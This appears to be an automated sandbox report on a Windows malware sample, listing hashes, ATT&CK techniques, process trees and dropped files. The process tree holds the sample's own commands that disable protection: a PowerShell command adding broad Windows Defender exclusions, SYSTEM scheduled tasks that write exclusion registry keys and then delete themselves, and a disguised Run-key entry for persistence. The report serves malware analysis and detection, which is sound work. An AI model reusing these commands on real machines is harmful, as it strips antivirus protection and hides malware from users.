1690beab5b7d959c8f063f6470d08bcfe126b9ca45efd1a16860beec80e672d7

Analysis

max time kernel
145s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
Size 29.6MB
Sample260910-tk5nqascjd
SHA256 1690beab5b7d959c8f063f6470d08bcfe126b9ca45efd1a16860beec80e672d7
MD5 630a448bb4833fd5b62cdd24f095ecdf
SHA1 08debc32cebfde2b85abdccd2126d014a14af3b8
SHA512 60e228ea63fb36899979e6ab1d6aa3eebc7ca5b525ebbd865d7093da58bf7979f3d43c14fa23fa2321f829df8d623a63c0dddc287394c6292d39f77d8dd719d8
SSDEEP 98304:K+dP6pRLQCsrfv7AB7a4gm4mNSh6q+luaePEfUa:KY6HnAT/m3xq9anp
TLSH
T11467D58ABB41CEC7F80681316867DF946362F9345EB0C327355D2B1EAFAF1988DA11C5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3848	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1692	6cZpMA.exe
2832	6cZpMA.exe

Loads dropped DLL 2 IoCs

pid	Process
1692	6cZpMA.exe
2832	6cZpMA.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\pj2wpw\\6cZpMA.exe\""	6cZpMA.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3704	cmd.exe
2376	cmd.exe
4204	cmd.exe
924	cmd.exe
1176	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	6cZpMA.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3468	cmd.exe
5660	cmd.exe
4232	cmd.exe
3092	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3792	schtasks.exe
3032	schtasks.exe
4604	schtasks.exe
1296	schtasks.exe
2584	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
956	2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe
1692	6cZpMA.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3848	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 3848	1692	6cZpMA.exe	92
PID 1692 wrote to memory of 4204	1692	6cZpMA.exe	93
PID 4204 wrote to memory of 3792	4204	cmd.exe	96
PID 4204 wrote to memory of 5768	4204	cmd.exe	98
PID 1692 wrote to memory of 924	1692	6cZpMA.exe	101
PID 4204 wrote to memory of 6032	4204	cmd.exe	103
PID 924 wrote to memory of 3032	924	cmd.exe	104
PID 1692 wrote to memory of 1176	1692	6cZpMA.exe	105
PID 1176 wrote to memory of 4604	1176	cmd.exe	107
PID 924 wrote to memory of 4080	924	cmd.exe	108
PID 1176 wrote to memory of 4556	1176	cmd.exe	109
PID 924 wrote to memory of 5564	924	cmd.exe	111
PID 1176 wrote to memory of 4932	1176	cmd.exe	112
PID 1692 wrote to memory of 3704	1692	6cZpMA.exe	113
PID 3704 wrote to memory of 1296	3704	cmd.exe	115
PID 3704 wrote to memory of 1340	3704	cmd.exe	116
PID 3704 wrote to memory of 4616	3704	cmd.exe	118
PID 1692 wrote to memory of 2376	1692	6cZpMA.exe	121
PID 2376 wrote to memory of 2584	2376	cmd.exe	123
PID 2376 wrote to memory of 3340	2376	cmd.exe	125
PID 2376 wrote to memory of 4260	2376	cmd.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-10_630a448bb4833fd5b62cdd24f095ecdf_amadey_cobalt-strike_glassworm_icedid_luca-stealer_njrat_remcos_stealc_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:956

C:\Users\Public\pj2wpw\6cZpMA.exe
"C:\Users\Public\pj2wpw\6cZpMA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pj2wpw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pj2wpw\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4260

C:\Users\Public\pj2wpw\6cZpMA.exe
"C:\Users\Public\pj2wpw\6cZpMA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2832

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pj2wpw" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3468
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pj2wpw" /t REG_DWORD /d 0 /f
  2⤵
  PID:4220

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5100

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5660
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5376

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4232
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:5332

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3092
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

6cZpMA.exe

Path C:\Users\Public\pj2wpw\6cZpMA.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\pj2wpw\UxEnhance64.dll
Size 3.1MB
SHA256 d8ef6d5223113c4dadec43e8794aa13b6fb2f7c85aeda52f7a6abf47e7511d94
MD5 47a542c606cda090fd32549fe0d7eb1b
SHA1 db34fc888748607ecf532f89139876c0d16e5d30
SHA512 b3a5a1db060acfca5c27cd377ee42760d0e1420d23d32d20945543a9a7d5b1b0b8c48125ae18d2f8f7e9367c893982355655636b86e6019d9cf3d9ae35d38ab1
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+x:P9m29xx3Tiqt06ox6+z2rNNrKox
TLSH
T165E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\pj2wpw\adoresd.dat
Size 4.7MB
SHA256 8e487f1259fea3fbcd34f9d69ce9bb2b9cf7d1f5444b121ad5cabab2f15ee742
MD5 6b2cee51310ffca1d9bcb2fefc3951ae
SHA1 b9a12473384819968aa93f190761dc8a4d4bbb56
SHA512 e77a67a38b11e8eba84f132f8caab2c1fd4b9b9444ef70cd1bd65cb11515b7ce5c15f424062bafa7aa2e9e2e9a2d185734aeb2bbd59910c450c6ae0847786854
SSDEEP 98304:bKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:bKClqhi0Cv54K2IVS0VQg
TLSH
T1ED3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\pj2wpw\msadox.tb
Size 8KB
SHA256 10cb8b929711aa417d894c0f759f5a89b634f8aba74f2e6be9a7291cc1703361
MD5 2c3c765d26de0551f78f3f5b52c803aa
SHA1 d9f85fb0caf98f5632ce68bb30847869907a0112
SHA512 d21f941eea82eb0d61a5e4fd13c813eaa9e06ce0364c2cc60d21d2dc2267247ff486beb3d7f19ab35e90cfcd68792aa9b0195be74d1780ee2d50ecb79f2fe2d4
SSDEEP 192:IqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:IsZqZOXQ3uqvR2Kfzp
TLSH
T154029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/956-1-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/956-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

Download

memory/956-504-0x00007FF91AD50000-0x00007FF91AD62000-memory.dmp

Download

memory/956-524-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/956-525-0x00007FF91AD50000-0x00007FF91AD62000-memory.dmp

Download

memory/956-0-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/1692-556-0x0000020B301C0000-0x0000020B3020E000-memory.dmp

Download

memory/1692-563-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-536-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-539-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-543-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-544-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-545-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-546-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-538-0x00007FF925640000-0x00007FF925642000-memory.dmp

Download

memory/1692-550-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-530-0x00007FF925630000-0x00007FF925632000-memory.dmp

Download

memory/1692-559-0x0000020B31AD0000-0x0000020B31B5A000-memory.dmp

Download

memory/1692-561-0x0000020B31AD0000-0x0000020B31B5A000-memory.dmp

Download

memory/1692-560-0x0000020B31AD0000-0x0000020B31B5A000-memory.dmp

Download

memory/1692-557-0x0000020B31AD0000-0x0000020B31B5A000-memory.dmp

Download

memory/1692-531-0x00007FF902AF0000-0x00007FF90300E000-memory.dmp

Download

memory/1692-565-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/1692-566-0x0000020B325B0000-0x0000020B32E37000-memory.dmp

Download

memory/2832-586-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/2832-576-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/2832-578-0x00007FF925640000-0x00007FF925642000-memory.dmp

Download

memory/2832-579-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/2832-584-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/2832-587-0x00007FF925630000-0x00007FF925632000-memory.dmp

Download

memory/2832-573-0x00007FF902AF0000-0x00007FF90300E000-memory.dmp

Download

memory/2832-585-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/2832-583-0x0000020C0D610000-0x0000020C0DE97000-memory.dmp

Download

memory/3848-593-0x000001E3ED280000-0x000001E3ED2A2000-memory.dmp

Download

memory/3848-596-0x000001E3ED2D0000-0x000001E3ED2EE000-memory.dmp

Download

memory/3848-597-0x000001E3ED570000-0x000001E3ED622000-memory.dmp

Download

memory/3848-599-0x000001E3ED2C0000-0x000001E3ED2CA000-memory.dmp

Download